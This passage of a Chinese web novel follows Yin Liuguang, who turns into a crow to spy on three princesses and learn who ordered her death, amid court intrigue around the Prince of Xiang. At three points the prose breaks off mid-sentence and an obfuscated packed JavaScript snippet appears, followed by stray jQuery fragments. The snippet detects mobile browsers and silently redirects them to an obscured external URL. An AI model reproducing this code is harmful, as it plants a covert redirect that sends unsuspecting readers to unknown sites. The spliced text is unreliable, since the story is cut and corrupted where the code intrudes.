她退了下来,像是很担心殷守善的情况,忍着惧怕朝衣柜走了几步,对殷守善唤道:“阿兄你怎么了?为何会变成这样……”可她还没靠近,殷守善看清她的脸,立刻惊恐万分地大叫起来:“你别过来,别过来!”
殷流光在背后诸人看不到的地方,神情漠然,眸中闪过审视,看来殷守善是真疯了,他这一疯,她倒是不用再担心他又对自己下死手,只是可惜了,还没套出来命他杀自己的公主是谁……
但不论是谁,她都会找到那位高高在上,隐匿在幕后的贵人。殷守善疯了,不代表那位公主殿下会放过她。为了自保,她必须弄清楚这件事。
宋绯眼见儿子如此模样,忙忙地起身,推开殷流光呵斥:“行了!别站在这里碍事了!你且下去吧!”
殷流光换上怯弱的模样,小小声说了声“是”,便低头离开了。看着她离开的背影,宋绯心中寻摸着她说的那几句话。
阿妙好说歹说,哄着殷守善喝了药,屋内总算是消停了一会,阿妙捧着热粥劝宋绯也吃点,宋绯喝莲子粥的时候,她守在一旁担忧道:“夫人相信四娘说的吗?”
宋绯停下了勺:“你也听见夫君说的,麒麟是真的……只有他们两去了凝华山,而且自从守善回来后,我便总觉得他有些魂不守舍,那凝华山……可能真的有什么不干净的东西。”
想到这里,她蓦然搁下碗,吩咐阿妙:“备车,我们去青雾山请道士!”
……
大明宫,蓬莱殿。
天子将手中奏折扔到太子脚下,斥道:“述功亭兴建居然抢了民田,惹得百姓去京兆府击鼓鸣冤?朕只是交代你办件这么小的事也办不好,太子,你是怎么办事的?”
太子李宣慌忙拾起奏折禀告:“父皇,当初丈量的均是皇田,儿臣也不知后来怎么会侵占民田,想是这中间有什么误会……”
“有什么误会?”天子抬起眼皮,沉沉道:“这亭是朕为了给太祖皇帝述功而建,是为了世代彰显我大盛文治武功,如今出了岔子,你叫天下人怎么看朕?怎么看太祖皇帝,啊?”
太子紧张得答不上来,诺诺立在一旁,白皙文秀的脸上汗涔涔的,侍立在他身后的广平侯见状,忙上前一步道:“陛下息怒。”
“陛下,太子殿下这些日子的确日日亲往乐游原监工,时时垂询进度,只是最近快到吏部年末考核,又兼鸿胪寺万国使者来访,这两件事陛下都交给了殿下去办,殿下对陛下交代的事没有不尽心竭力的,两头忙个不停,时常批阅官员考核奏折到后半夜。”
这段日子天子猎获麒麟,不光是大盛境内,西域诸国乃至与大盛交好的万国都遣了使者来朝贺,太子忙得脚不沾地,这也是人尽所知的事实,觑着天子脸色有所缓和,他继续道:“想是下面督办的人见殿下诸事缠身,便起了糊弄的心思,臣记得,这督办述功亭的具体官员,仿佛是右春坊太子舍人,一个叫殷守善的?”
他把话头抛回给李宣,给他使眼色,想让他把所有罪责都扔到这个小官身上,先把自己摘出来平息天子怒火,但李宣却犹豫了片刻,拱手道:“正是此人。只是……他一向也算勤勉,想来不会做出这种欺上瞒下的事,这中间定是有什么误会,且上午的时候他家里来人,禀告说殷守善他……疯了。”
“疯了?”天子皱眉:“怎么会无缘无故疯了?”
李宣更不知此话该不该说,吞吐半天,又惹天子生气,拂袖冷哼一声,对身旁下了朝后被他叫进内殿,一直静立在左侧,不发一言的商遗思道:“望尘,你司掌金吾卫,又代朕监察京城,可知道此事?”
商遗思行礼道“禀陛下,臣今日也有所听闻。”
“那位太子舍人昨夜在家中祠堂外晕厥,今日醒来后便形容疯癫,一日请了三郎中,三人说辞都一致,皆云是惊厥失魂之症,难以医治。”
广平侯眼底划过一丝极快的精光。
一个七品官员,早上才得了疯病,中午襄王就知道了,还能在天子面前对答如流,不知这长安城一百一十坊中,有多少他的爪牙。
此人上任右金吾卫大将军之职不过短短几年,手段凌厉,竟然将原本只是巡防京城的金吾卫势力扩大得快要比肩羽林军了!
此人,要么拉拢入自己的阵营,要么,便不能容他一直活着做天子的眼睛。
若是商遗思知道此刻广平侯在想什么,只会付之一哂。
他确实将整个金吾卫都整治成了南衙十二卫之首,但还没有手眼通天到长安城发生什么事他都能即可知晓的地步。
殷家此事,不过是因着他放了眼睛在那殷四娘子的身上罢了。
“失魂之症?”天子沉吟,不知想到了什么,神情变了变,将胸中疑虑压了下去,对着太子道:“既是督办的官员得了病,此事便也怪不得太子,但那姓殷的官员按你所说,也并非怠工,便不罚他了,派几个御医去瞧瞧他。”
太子神情一松,赶忙行礼:“儿臣替殷守善谢过父皇!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986099|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
出了蓬莱殿,广平侯叫住商遗思。
“襄王且留步。”
商遗思转过身,不动声色地睨了眼来人:“广平侯有何事?”
广平侯满脸堆笑,走至商遗思身边:“襄王走这么快做什么?前些日子照料瑞兽,襄王可帮了老夫不少忙,是以想在宅中略备薄酒,答谢大王,这也是——太子殿下的厚意。”
商遗思闲闲地拂了拂袖子:“祁公何必客气?本王也是奉命行事。”他道:“本王年少戎马,落下不少毛病,身子不宜饮酒,祁公的酒宴本王就不去了。”
广平侯笑容微僵:“如今朝中泾渭分明,天子是圣明之君,却对自己儿子颇多猜忌,反而倚重长公主,公主府与东宫已是势如水火,今日述功亭一事,你我心知肚明,是长公主栽赃东宫的手笔,襄王不效忠东宫正统,反而要投靠如此处心积虑的狠毒妇人吗?你与我儿承筠乃是知交好友,我也是不想你这样的青年才俊误入歧途啊。”
商遗思淡然抬眸,似笑非笑:“祁公所言乃陛下家事,不合问外人。将来无论是公主登位还是太子,本王只认陛下诏书。”
广平侯也是没想到,如今满朝文武皆站队,襄王倒是把自己后路都给堵死,摆明了要做得罪朝中衮衮诸公的孤臣,他脸上神色变幻纷呈,又听商遗思道:“今日见了广平侯,本王倒想起一桩别的公案。”
他盯着广平侯的眼睛,道:“凝华山秋猎,南衙骁卫去时三十六人,回时三十五人,少了个人,是镇安府的折冲校尉,姓吕,祁公任兵部侍郎,掌管兵事,此事怎么不见祁公上报?”
广平侯面色微变,立刻遮掩过去,笑道:“这事啊,是少了个人,他是半夜不本分,跑到山上深处,被老虎咬死了,堂堂骁卫被野兽咬死,这事传扬出去也不好听,老夫便没有上报……”
他觑着商遗思的脸色平静,心里头揣摩着他到底是故意提起吕大娄这个名字,还是只是例行询问,他试探道:“襄王为何提起此人?”
商遗思看他的反应便知道,那天晚上吕大娄虽然供述说他是跟着广平侯之子祁承筠一起去的襄王府,但广平侯隐瞒了吕大娄的死因,便是证明,那夜火烧襄王宅,害死他弟弟妹妹的事,广平侯是知情的。
他淡淡转身:“秋猎护卫皆是本王负责,发现少了个人,自然要循例问问,不过祁公不必担心,此事本王不会告诉其他人。”
看他模样不像是知道了什么,广平侯稍稍放下心,对着商遗思的背影作揖:“老夫在此谢过襄王。”
……
知意守在屋子里急得转个不停,见屋外有动静,忙迎了出去:“娘子你回来了!”
“怎么样?夫人没有为难你吧?”她道:“刚刚我打扫院子的时候,夫人身边的嬷嬷还来问我话,问起娘子昨天晚上的行踪,我都按照娘子教我的说了,一个字都没多说。”
殷流光点头,伸手撩开帘子进了屋子夸她:“好知意,做得不错。母亲应当不会怀疑我了,现下,她怕是忙着套车去青雾山呢。”
“夫人要去请道士吗?……难道大郎是撞鬼了?”知意吓得浑身一哆嗦,殷流光笑着摸摸她的脑袋,在早晨翻开的箱子里继续翻找起来:“那也是他心里有鬼想害人,才变成这样。”
知意点头,昨晚刚开始的时候她也在,大郎叫住娘子的时候看起来就没打什么好主意,不论发生了什么,娘子做的肯定都是对的!她站在殷流光身旁,好奇道:“娘子要找什么?我帮你一起找吧?”
殷流光停下动作,眸子里闪过怀念的神色,她道:“我要找一本书,一本师父留给我的书。”
8. 凡人天窍
很快,她从箱底刨出半卷发黄的书,高兴道:“找到了!”
她小心翼翼地将那残卷放到床上摊开,知意也抱着衣服凑了过来,好奇道:“这是……观山师父留给娘子的书?”
殷流光点点头,目带怀念,抚过书页:“那时我喊她师父,她唬得很,说教给我的这些东西只是些不入流的骗术,根本算不得什么传道受业,不准我喊她师父,只准我叫她贼尼姑。”
“如今,算算日子,贼尼姑也走了四年了。”
知意说:“如果看到娘子现在亭亭玉立的样子,观山师父定会十分欣慰。”
“她哪里会欣慰。”殷流光笑了下,回忆起师父的模样,脸上染上回忆的神色:“她只会跳起脚,埋怨我为什么这几年寒衣节,都没有给她送烤鱼吃。”
殷流光四岁那年的夏天,阿娘走了,殷家上下虽然供给她吃穿,却不会有人在乎她的感受。
阿耶忙着汲汲营营于官场,母亲宋绯更疼爱自己的一双儿女。
长兄殷守善很少正眼瞧她,长姐殷流灵忙着跟高门贵女结交游玩,虽是一家姐妹,但却因为她身上有琵琶女的血脉,担心和她玩自己也会被门阀世家的女儿所看轻,所以从来对她都是疏离客套,不与她同游。
她那些年过得很寂寞。
反正家中也没人在意管教她,她便时常带着自己做的纸钱元宝,去乐游原的善观寺给阿娘烧纸祈福,这可以让殷家重孝的名声远扬,殷父便也没多说什么,还派了仆役跟着她。
殷流光就这么认识了寺里扫地的老尼观山。
她注意到观山,也是因为她十分与众不同。
她是尼姑庵的扫地僧,却不好好扫地,寺主在的时候就装装样子,寺主不在的时候,就把扫帚一扔,躲到往生牌位后头吃烤鱼。
善观寺平素香客不多,竟也没人发现她偷吃荤腥,殷流光个头小小,在牌位前跪着的时候,观山竟也没发现。
她闻到烤鱼的味道,循着味道摸过去,仰头对着观山道:“这是永平坊余记酒楼的招牌烤鱼吗?”
观山见是个眉清目秀的女娃娃,笑道:“你这女娃娃,鼻子倒是挺灵。”
殷流光继续道:“好吃吗?我听说虞记酒楼的大师傅用了从西域进的特殊香料,每只鱼烤成的时候都香飘十里。”
她说话平平板板,但是目光直直地黏在鱼身上,观山受不了这雪团子直勾勾的眼神,就撕下一块喂她:“香不香的,你尝一口不就知道了?”
这小女娃虽然身上衣着朴素,却也是平整干净,一看便是京师七品以下官宦家女儿常有的打扮,观山心想着她恐会嫌弃自己老婆子的手脏,但没想到这小女娃嗷呜张口就吞了。
她细嚼慢咽,咽下后点评道:“果真不错,不过这胡椒味有些喧宾夺主,不若只用秦椒,反而更好。”
她又向观山道:“你放心在这里吃,我会帮你打掩护,不让寺主发现。”
观山愣了下,随即哈哈大笑起来:“有意思,你这娃娃,这是要向我报一鱼之恩?”
她们就这么熟悉了起来。
后来殷流光便知道了观山明明只是善观寺的老尼,却为什么能吃上京城数一数二的大酒楼里的烤鱼。
她闲暇无事的时候,会去乐游原摆摊算卦。
春天和秋天,来乐游原上香游玩的长安百姓很多,其中不乏夫人贵女,观山赚的便是这些人的钱。
殷流光在旁边看着,只觉得观山上下嘴皮子一碰,随便说几个玄之又玄的词,就能唬得夫人们乖乖掏钱,从她这里买走转运咒小人的符纸。
那天观山收了摊,买了鱼跟殷流光一块吃,殷流光吃着吃着,忽然道:“我想学相面算命。”
观山吐出鱼骨头,觑她一眼:“不成!”她又咬下一口鱼肉,边嚼边道:“你是官家小姐,将来安安心心长到及笄,挑个富贵的人家嫁过去,过你的安稳人生,我已经给你看过了,这就是你的命数!你命里就没有需要靠给人算命挣钱的时候。”
殷流光也不看她,四平八稳道:“年初你给张家夫人算命,说她儿子今年必定身如烧尾,张家夫人欢喜疯了,给你足足五吊钱,结果昨日放榜,并没有她儿子的名字。”
大盛但凡新科进士,都被被天子赐曲江进士宴,时人称之为烧尾宴,寓意鲤鱼一跃,从此烧掉鱼尾,化身成龙矣。
观山给张夫人儿子的批语是“身如烧尾”,便是暗示他今年能中进士,以此取悦张夫人。
观山连忙去捂她的嘴:“小声些!老婆子我还做不做生意了!”
殷流光道:“所以你都是骗人的,你其实根本就不会什么算命之术,你只是会骗人。你教不教我?不教,我就去找张夫人告诉她你是善观寺的人。”
观山急得不行:“我的小姑奶奶,你学这骗人之术干什么?”
殷流光道:“为了活得更好。”
前些日子,她发现阿娘的坟茔浸了水,可阿耶却不打算费银钱去修,她只能自己筹钱,宋绯平日里也不怎么给她钱,真论起来,她连一条烤鱼都买不起,可比观山穷多了。
所以她只能自己挣。
观山叹道:“行行行,教你便是,唉,其实我见你第一面就知道,你心思缜密,观察入微,若是坑蒙拐骗起人来……定是一把好手。”
她开始带着殷流光一起摆摊,教殷流光如何察言观色,如何从细微处辨别陌生人身份,遇到什么人又该说何种话……
她学得很快,不仅靠着相面赚够了钱给阿娘修坟,更学会了如何戴着假面面对别人,见人说人话,见鬼说鬼语。
在家中,她是安静懂事的殷四娘子,在乐游原,她是骗术无双的神算小娘子。
在殷家的日子寡淡无味,好在还能和观山一起偶尔支起摊子,给过往形形色色的夫人们卖符纸,得了钱便一同去买烤鱼和饽饦吃,日子鸡飞狗跳却自在。
直到十三岁那年,观山死了,善观寺将她葬在了寺院紧挨着的小山丘上。
观山死前最后的愿望,就是希望殷流光不要再抛头露面,去乐游原算命,回去做她的官宦人家小娘子,她越来越漂亮,迟早有一天会被人认出来。
她知道殷流光从小到大都过得苦,也知道她很想从殷家那座宅子里挣脱出来,所以才总是喜欢跟在自己身边,可是她没办法陪她一辈子。
所以她早早就给殷流光谋划起了后半辈子,就像是她的半个母亲那样。
她给殷流光留下了一个名字,和一些旧物。
那个名字,是广平侯府的世子祁承筠。
她说此人年轻有为,温柔端方,曾陪姑母去寺庙做过法事,观山暗中查探了他很久,并且算过两人命数。
“你若是嫁给祁承筠,这辈子一定会平安富足,一生无忧无虑,祁承筠为人可靠,定会托举你,让你有底气从殷家挣脱,做整个长安城最有派头,最尊贵的夫人。”
她在给殷流光的信上这么写,殷流光读着读着就笑了,笑着笑着,眼泪却留了下来。
“贼尼姑,你自由了一辈子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986100|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,给我做的最好的打算,却是要把我送进高门侯府?”
“这就是你给我算的命数吗……一辈子顺遂安稳,富贵无忧?”
她将信收了起来,翻看观山留给她的旧物,这些东西她都来不及亲手交给殷流光,都是寺主代为转交,殷流光什么都没说,抱着她的遗物一个人走回了长安。
观山的遗物都被她锁在箱子里,今日还是十三岁之后,第一次拿出来。
知意问殷流光:“娘子可是想观山师父了?”
殷流光仔仔细细地翻阅手中的残卷,道:“她早得了解脱,这辈子圆满,我才没想她。”
知意抿嘴一笑,听出自家娘子的言不由衷,又听见她说:“我是忽然想起来,贼尼姑从前跟我讲过一个传说。”
“什么传说啊?”知意很好奇。
“有一次我跟着贼尼姑去后山猎兔子,用笼子装起来预备第二天吃,但那晚笼中野兔却直立前脚,对月而拜,贼尼姑就说这兔子不能吃了。”
当时她在殷流光痛惜不已的目光中将它放生,殷流光问为什么,观山说:“它搞不好是人变的,你吃了它就是吃人。”
殷流光狐疑道:“你少骗我,人怎么能变成兔子?”
观山拍掉她偷偷去摸兔子的手,严肃道:“相传人生九窍,比百兽多一灵窍,所以有了灵智。但这世间有极少数的人生而有十窍,比平常人多一窍,是为天窍。”
“天窍?能干什么?”
“天窍可令凡人与兽通,他们能化身成兽,随心所欲变换身躯,拥有兽的能力。”
殷流光当时不信,以为又是师父编出来骗她的,就为了等她离开后一个人独享烤兔子。
但现在想来……竟然并非虚妄。
知意听了这个故事,很不解:“可是人怎么能变成兽呢?观山师父这话一定是编出来唬娘子的吧?”
“不,师父她……可能真的有道行。”殷流光喃喃,目光忽然钉在一行字上:“天窍……?这书上果然记载了天窍!”
她低低念出声:“天窍,人之第十窍,得之可与兽通,此乃得天缘者。开天窍者,心中祷念咒词‘太上之信,召会群灵,灵如我身,魂授我骨’,即可于一炷香之内变幻兽形,一炷香灭,形尽身现。”
她继续往后看:“若想延续机缘,亦有操控之术,曰香,曰音,曰药……”
书到这里这一页就没了,她翻了一页,却发现这已经是这卷被撕成两半的书的最后一页。
如此说来,她能变成乌鸦便是书中所说的“偶得天缘者”,是她开了天窍?
这个天窍似乎对凡人无害,更像是某种意外的机缘,殷流光思索种种,不禁有些心跳加快。
虽然人能变鸟这件事骇人听闻,可是一旦接受,就会发现好处远比坏处要多的多。
现下她不就是靠着当鸟吓疯了殷守善,叫他不敢再对自己起杀心了吗?
她合上书,若有所思。
只是自己前两次变鸟,时间都太短,一炷香的功夫,恐怕只能从永安坊飞到永宁坊,若是途中时辰到了变成人身从半空掉下来,那就完蛋了。
所以她还得抽空去一趟乐游原,这卷书的下半部分,应当是在师父的坟里。
只不过如今殷守善出了事,她不好找借口出门,正好在那之前,她可以试试这变鸟的咒术灵不灵验,也借机——寻一寻那幕后想要她死的,究竟是哪位公主。
知意摇了摇她的胳膊:“娘子,你还没说完呢,这天窍是真的?”
9. 三公主宅
知意眼睛睁得大大的,好奇地望着她。
殷流光有些犹豫,观山师父死后,知意就是这世上她最亲的人。
她之前不想把这些事情告诉知意,是因为殷守善跟公主一直想杀她,若是告诉了知意,连她也会有被杀的危险。
但现在……殷守善已经被她吓疯了,方才听说连御医都来看过,都说没用,青雾山上的道士她也是不信有什么能耐,从前在乐游原上也遇到过跟观山抢生意的道士,论功力还不如观山。
殷守善的疯病一时半会估计是治不好了,至于那幕后操纵他的公主……她如今有了乌鸦之身,想要查个人还不容易?
这样条分缕析下来,危险都在可控范围内,殷流光抿了抿唇,对着知意道:“如果我说天窍是真的,这世上真的有能变成兽的人,你相信吗?”
“这听起来……像是外头书铺里卖的那些志怪小说,人怎么能变成兽呢?那到底是人还是妖怪啊?”知意愣了愣,开了个玩笑,但见自家娘子神色认真,并没有笑,她慢慢收了笑容:“娘子,难道你见过……”
殷流光摇摇头:“不是见过。”她试探道:“如果我说我就是这书上说的,能开天窍的人,你会把我当成妖怪一样害怕吗?”
知意傻眼了,连话都说不利索,呆了好久,像是整个世界都在她面前化为虚无,她卡壳了半天,上下摸了摸殷流光的脸,确认这张脸是真实存在的,骤然松了口气。
慢慢的,她眼中现出坚定的神色:“娘子就是娘子,不论变成什么样,我都不害怕。”
殷流光心中感动,她弯起眼笑了,在菱窗下抱住知意:“好知意,我就知道你不怕。”
很快,殷流光将凝华山和那晚小祠堂里发生的事都一五一十地告诉了知意,并且告诉了她自己今晚的计划。知意听得倒吸口气,听到前半段恨得绞手帕,直骂殷守善是个猪狗不如的畜生,骂完了才后知后觉她好像也把自家娘子骂进去了,连忙摇手说畜生也有好的,殷流光笑得滚倒在床上,知意恼了,扑过去捂她的嘴,两人就这么闹作一团。
知意问殷流光:“娘子,那你见了襄王,襄王好看吗?他是不是真的像野史册子里写的那样,威严得像天神下凡?”
殷流光躺在床上,想了想那天晚上,冷冷月色笼罩下的床帐里,雪天焚香的气味充斥着整个床帐,男人的胸膛滚烫如火,声音却幽沉,她抬头,只能看到他的下巴,有着青色的胡茬,摸起来一定很扎手。
她说:“那天晚上太黑了,我其实没怎么看清,感觉也就那样吧,而且现在长安城里对美男子的标准早就变了吧,如今长安女子们,都喜欢太子殿下,还有祁承筠那样温柔贴心的。”
知意哦了一声,十分失望,小声嘟囔:“广平侯世子是挺温柔的,但是我觉得他没什么主见,配不上小姐。”
“他都配不上我,难道你要我去嫁太子不成?”殷流光失笑,伸了个懒腰舒展筋骨,神色认真起来:“好了,到戌时了,也该干活了。”
知意点头,她帮殷流光脱下外衫,打开了窗户,窗外夜色已经变得漆黑,坊内的的梆子声已响了起来,知意担忧地望着只穿着中衣的殷流光:“娘子,真的能找到那个跟大郎幽会的公主吗?”
“还有就是……一定要去找吗?”
“当然了。”殷流光立刻道,她在殷家的乖巧柔弱都是装出来的,实则她从小就很记仇,谁惹了她,就算过了一个月甚至半年,她也定要找到机会报复回去。
有一年殷守善故意戏弄她,把阿耶给她的兔子糖换成了石头,说琵琶女生的贱种不配吃糖,她那个时候没有哭闹,只是默默蹲在地上,一片片去捡雪地里的碎糖,捡起来用手帕包住递给殷守善:“阿耶教导我们粒粒皆辛苦,饴糖是珍贵之物,阿兄若是不想四娘吃,四娘就不吃了,全给阿兄吃可好?”
殷守善反手就打翻了她的手帕:“都脏了还怎么吃?”
他嘲笑她一通,大摇大摆地走了,没注意到自己的手上沾了淡黄色的粉末,那是观山招摇撞骗常用的药。
当晚殷守善就高烧起来,急得宋绯连夜请来大夫,说是吃糖吃坏了肚子,那之后,宋绯就再不准殷守善吃糖了,殷流灵那时在外祖家探亲不在家,宋绯便难得想起了偏院的殷流光,将点心都送去了殷流光的院子。
这次跟小时候的小打小闹不一样,是公主要杀她,但兔子急了还咬人呢,乌鸦急了,也是会扇人的。
殷流光道:“天子共有三位公主,寿昌、宁昌、蘅昌,不论是谁与殷守善幽会,必定有暗中与他联络的小厮仆从,只要我暗中监视,看看谁往殷家送信,自然就知道是谁想害我了。”
知意仍然有些担忧,却抵不过殷流光跟她保证自己已经变过两次鸟,于此道甚是熟练。
她嘱咐她熄了灯留好窗户缝,若是有人来问,便说四娘子已睡下。
一切都吩咐妥当,殷流光闭眼默念心咒——“太上之信,召会群灵,灵如我身,魂授我骨!”。
“哗啦啦”——知意长着嘴巴,目瞪口呆,瞧着半空中的女子衣衫徐徐落地。
自家娘子就这么活人大变乌鸦,扑扇着翅膀,在屋内转着圈飞了一圈,驯服了翅膀的飞行力道后,便飞出窗外,消匿在茫茫夜色中。
“竟然真的……这不是我的幻觉吧?”她使劲捏了捏自己的脸,直把脸捏得通红无比,眼前的景象也没有消失。
她连忙回过神,谨记着娘子的嘱托,吹灭了桌上的灯。
夜色攀上窗扉,此时高门大户聚居的太平坊内,亦是静默无比,青石街寒凉如水,远处只有巡夜的金吾卫偶尔经过时所发出的马蹄声。
虽然变成乌鸦后夜视很差,但殷流光已经看过地图,在心中默记下了路线,竟也顺利飞到了蘅昌公主宅,从空中低掠入后宅,找了个有光亮的房间,停在了对面的树上。
蘅昌公主是三位公主中的长女,早已出嫁,据说与她的驸马都尉萧雪酩夫妻甚是恩爱,他们定情的香元寺,也因此成为整个长安最热门的求姻缘的寺庙。
但殷流光乌黑的黑豆眼瞧着房内发生的一切,心里只觉得若是把这蘅昌公主夫妻恩爱的真相写成话本册子,也不知会不会立刻轰动整个长安?
房内女子披头散发,男子脸上也是满脸血痕,可以想见刚刚定是经历了一番斗成乌眼鸡的厮打,他狠狠抹了把唇边血迹,指着蘅昌的鼻子骂:“李善承,你欺人太甚!我兰陵萧氏开国至今光是宰相就出了八个!就算你是公主又如何?你李家的江山还要靠我家辅佐,你怎么敢把我当奴仆,对我动辄打骂?!”
蘅昌公主李善承将手中的马鞭挥得猎猎生风:“你不守夫德,背着我跟我的贴身侍女陶儿眉来眼去,当我瞎吗!”
“陶儿温柔似水,比你这泼蛮女子不知好上多少倍!你成日里不是打马球就是混在校场上,每天回家倒头就睡!关心过我么!”
这话听起来怎么酸溜溜的?
殷流光都听出来了,李善承自然也听出来了,手里的马鞭垂了下去,她梗着脖子,气势却已经没有先前那么跋扈:“那你怎么不同我直言,我每日事那么多,你不说我怎么会知道……”
又说了三言两语,两人眨眼间就和好如初,蜜里调油,马鞭……也被派了别的用场。
殷流光甚是无语,飞走时扫见一众奴仆都在房外候着,方才他们夫妻吵架没有一个人进屋劝架,原是早就知道最后两人会和好。
蘅昌公主的确跟传闻中一样,与她驸马感情甚笃。
看起来,她不会是跟殷守善幽会的人。
今晚乌鸦娘子只能无功而返,回家睡觉。
第二日夜晚,殷流光重整旗鼓,这次的目标是宁昌公主宅。
宁昌公主号称三位公主中最柔善贞静者,还尚未婚配。
殷流光也很快就发现了她还没分配的原因,她的公主宅里豢养着至少十个面首……
每个面首都身高七尺,宽肩窄腰,身佩横刀,看起来像是出门右拐就能直接去金吾卫当值。
从宁昌公主的喜好来看,虽然身高够高,但一看就是个细弱书生的殷守善绝不可能被她瞧上。
那剩下的……便只有寿昌公主了。
第三晚,知意已经熟练地开窗,放出手心的乌鸦,并且对着她小小声嘱咐:“娘子今晚也莫飞得太久,早些回来!”
乌鸦张嘴,从喉咙中发出女子的声音:“知道了。”
今晚她的目标便是,崇仁坊,寿昌公主宅。
寿昌公主李善真是天子与小韦后的小女儿,寿昌个性娇憨,从小就讨人欢心,所以备受天子宠爱,整个长安城都知道,寿昌公主就是天子掌心最
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986101|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珍贵的那一颗明珠。
小韦后是天子发妻大韦后的亲妹妹,大韦后薨逝后,天子又封了她的妹妹韦妃为后,称为小韦后,当今太子便是大韦后所出。
因着这层关系,太子也极为宠爱寿昌公主,但凡东宫里有什么稀奇玩意儿,他都会一个不留地命人送去寿昌公主宅。
坊中也有传言,说寿昌公主宅以金银为釜铛盆瓮,以水精珠还有琉璃、玳瑁、云母制成百宝床,又琢五色玉器为日常食具……即便在权贵云集的崇仁坊,奢靡也无人能出其右。
她早就想见识一下这位公主的卧房了,说不准去她宅子里转上一圈,就能在墙角下捡到钱呢!
殷流光照旧借着夜色遮掩,飞到公主卧房外的树枝上,只不过寿昌公主今夜没有开窗,她便只能飞上屋檐,用鸟嘴叼开瓦当,向下窥视。
屋内果然华彩照人,宝光四射,一个面容娇美,看着不过十五六岁的女孩懒懒坐在床边,接过侍女递来的东西。
她打开盒子瞧了瞧,又立刻关上,问侍女:“你确定这药……能迷倒经年习武之人?”
侍女恭恭敬敬道:“殿下放心,这药是奴从宫里窦奉御那里讨来的,窦奉御一向对太子殿下忠心耿耿,对公主更是无话不听,她给的药,药性定然不会差。”
“那我就放心了。”寿昌点点头,不禁冷笑:“哼,就算他是右金吾卫大将军又如何!”
右金吾卫大将军?殷流光脑内转了一圈才反应过来,时任右金吾卫大将军的,不就是襄王商遗思吗?
寿昌公主跟商遗思……这八卦可真够劲爆的,她立刻竖起耳朵,全神贯注地聆听。
寿昌将迷魂药收了起来,咬牙切齿道:“商遗思,就算你是天子第一宠臣,本公主想要你,你就算躲到天涯海角都逃不掉!”
看起来,像是她对襄王求爱未果,恼羞成怒最终决定给他下药。
屋檐上的殷流光忍不住也幸灾乐祸。
那夜床帐之内,他仗着身份居高临下地审问她,害的她嗓子都说哑了,如今也轮到他被别人下药了,真是风水轮流转呐。可惜了,商遗思浑身无力被寿昌公主压在帐中的模样,一定很劲爆。
只是……看起来寿昌公主对襄王倒是虐恋情深,以她心高气傲的心性,既然能看上商遗思,就不会再看上殷守善,那和她阿兄在乐游原幽会的人,究竟是谁……?
长安城内除了这三位公主,可就没有别的公主了。她疑惑不定,正欲扭头飞过公主府高耸的墙垣,忽然想到了一个关键信息。
如今的长安城……除了天子的三位公主外,还有一位公主。
与太子分庭抗礼,五相之中,四相皆出自她门下的,长公主。
可那天在乐游原,她虽然只看到了那位公主的背影,却也听到了她的声音,分明是年轻女子的声音。
长公主是天子的姐姐,无论如何,年龄也对不上啊?
乌鸦的暗影从崇仁坊冷清的街上掠过,一片秋日的枫叶自她身后落下,飘荡在了街角的马车盖上。
马车内坐着一个人,车外一人一马,商遗思坐在马上,对着车内人拱手道:“长公主,请你放过殷家四娘。”
车内人暗含威仪的女子声音传了出来:“这还是你第一次对本宫有所求,为什么?她看见了不该看见的东西,早就该死在凝华山上。”
“她对我有用。”商遗思道:“留她一命,乐游原述功亭侵占民田一案背后操纵者的证据,我便不会呈给陛下。”
车内静默许久,车帘被风吹起,透出中年女子的笑声:“襄王,你如今深得陛下信任,你开口,本宫自然答应。”
“只是你也要答应本宫,看好你护下的人,莫要让她胡言乱语。”
“那是自然。”商遗思道,车内人不再多说,对着车夫道:“走吧,回府。”
车夫驾起马车,商遗思瞧着马车缓缓驶走,调转马头行礼:“恭送彭阳长公主殿下。”
与此同时,空中骤然传来女子惊呼,“扑通”一声,一只黑色乌鸦扑扇着翅膀,掉在了商遗思的怀里。
乌鸦漆黑的翅膀颤动,隐约变成女子的白皙的肌肤,商遗思原本面无表情的脸上顿时出现一霎慌乱,他立刻解下披风,包住怀中乌鸦。
他怒意沉沉:“殷四娘子,你敢偷听本王谈话?”
10. 昔岁惨案
殷流光暗认倒霉,她方才从公主宅里飞出来,飞到一半就注意到长街上的一人一马一马车。
也不怪乌鸦眼尖,实在是此刻已经宵禁,整条街上空无一人,商遗思跟长公主的马车虽然停在暗处,但从高空俯视,扎眼得很。
她听到商遗思对那马车中人口称公主,便想到了自己方才的推断,忍不住停在了他身后的树上偷听。
但没听到几句有用的,只听到了商遗思说“恭送彭阳长公主”这句,知道了坐在马车里的人正是天子的姐姐,权倾朝野的彭阳长公主。
